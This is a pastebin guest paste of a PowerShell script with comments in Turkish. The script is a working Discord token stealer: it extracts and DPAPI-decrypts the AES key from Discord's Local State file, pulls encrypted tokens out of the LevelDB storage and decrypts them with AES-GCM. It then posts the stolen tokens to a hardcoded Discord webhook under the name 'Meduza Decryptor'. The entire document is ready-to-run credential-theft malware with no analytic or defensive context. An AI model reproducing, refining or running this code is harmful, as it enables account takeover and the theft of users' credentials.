💰 Make Money Sharing Files ➜

Untitled

a guest
Nov 21th, 2026
3 view(s)
Never
NOTE: This is a guest paste. Sign up for a free account to edit, delete, and manage your pastes!
Text 3.64 KB
Raw
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
Add-Type -AssemblyName System.Security

$webhook = "https://discord.com/api/webhooks/1573694461165174857/Dnq2_qTdMW3EOubghCfrZxRqRUdPDgFo3tRbtqZTS_bif3oNfLee-hyeXncj-WgmZK9S"

$paths = @("$env:APPDATA\discord", "$env:APPDATA\discordcanary", "$env:APPDATA\discordptb")
$results = @()

# 1. AES Anahtarını Al
$localStatePaths = @(
    "$env:APPDATA\discord\Local State",
    "$env:APPDATA\discordcanary\Local State",
    "$env:APPDATA\discordptb\Local State"
)

$key = $null
foreach ($ls in $localStatePaths) {
    if (Test-Path $ls) {
        try {
            $json = Get-Content $ls -Raw | ConvertFrom-Json
            if ($json.os_crypt.encrypted_key) {
                $encKey = [Convert]::FromBase64String($json.os_crypt.encrypted_key)
                $encKey = $encKey[5..($encKey.Length - 1)]
                $key = [System.Security.Cryptography.ProtectedData]::Unprotect(
                    $encKey,
                    $null,
                    [System.Security.Cryptography.DataProtectionScope]::CurrentUser
                )
                break
            }
        } catch {}
    }
}

# 2. LevelDB'den token çek ve çöz
if ($key) {
    foreach ($path in $paths) {
        $leveldbPath = Join-Path $path "Local Storage\leveldb"
        if (Test-Path $leveldbPath) {
            Get-ChildItem -Path $leveldbPath -Filter "*.ldb" -ErrorAction SilentlyContinue | ForEach-Object {
                $content = [System.IO.File]::ReadAllBytes($_.FullName)
                $text = [System.Text.Encoding]::Latin1.GetString($content)
                $matches = [regex]::Matches($text, 'dQw4w9WgXcQ:([A-Za-z0-9+/=]+)')

                foreach ($m in $matches) {
                    $encToken = $m.Groups[1].Value
                    try {
                        $tokenBytes = [Convert]::FromBase64String($encToken)
                        if ($tokenBytes.Length -lt 32) {
                            throw "Geçersiz veri uzunluğu: $($tokenBytes.Length) bayt"
                        }

                        $nonce = $tokenBytes[3..14]
                        $ciphertext = $tokenBytes[15..($tokenBytes.Length - 17)]
                        $tag = $tokenBytes[($tokenBytes.Length - 16)..($tokenBytes.Length - 1)]

                        $aes = New-Object System.Security.Cryptography.AesGcm($key)
                        try {
                            $decryptedBytes = New-Object byte[] $ciphertext.Length
                            $aes.Decrypt($nonce, $ciphertext, $tag, $decryptedBytes)
                            $decryptedToken = [System.Text.Encoding]::UTF8.GetString($decryptedBytes)
                            $results += $decryptedToken
                        } finally {
                            $aes.Dispose()
                        }
                    } catch {
                        $results += "FAILED_DECRYPT ($($_.Exception.Message))"
                    }
                }
            }
        }
    }
}

# 3. Webhook'a gönder
$results = $results | Select-Object -Unique
if ($results.Count -gt 0) {
    $payload = @{
        content  = "**Decrypted Tokens:**`n``````n" + ($results -join "`n") + "`n``````"
        username = "Meduza Decryptor"
    } | ConvertTo-Json -Depth 3

    Invoke-RestMethod -Uri $webhook -Method Post -Body $payload -ContentType "application/json; charset=utf-8"
} else {
    $payload = @{
        content  = "**Status:** Key not found or no matching entries found.`nTokens found: 0"
        username = "Meduza Decryptor"
    } | ConvertTo-Json -Depth 3

    Invoke-RestMethod -Uri $webhook -Method Post -Body $payload -ContentType "application/json; charset=utf-8"
}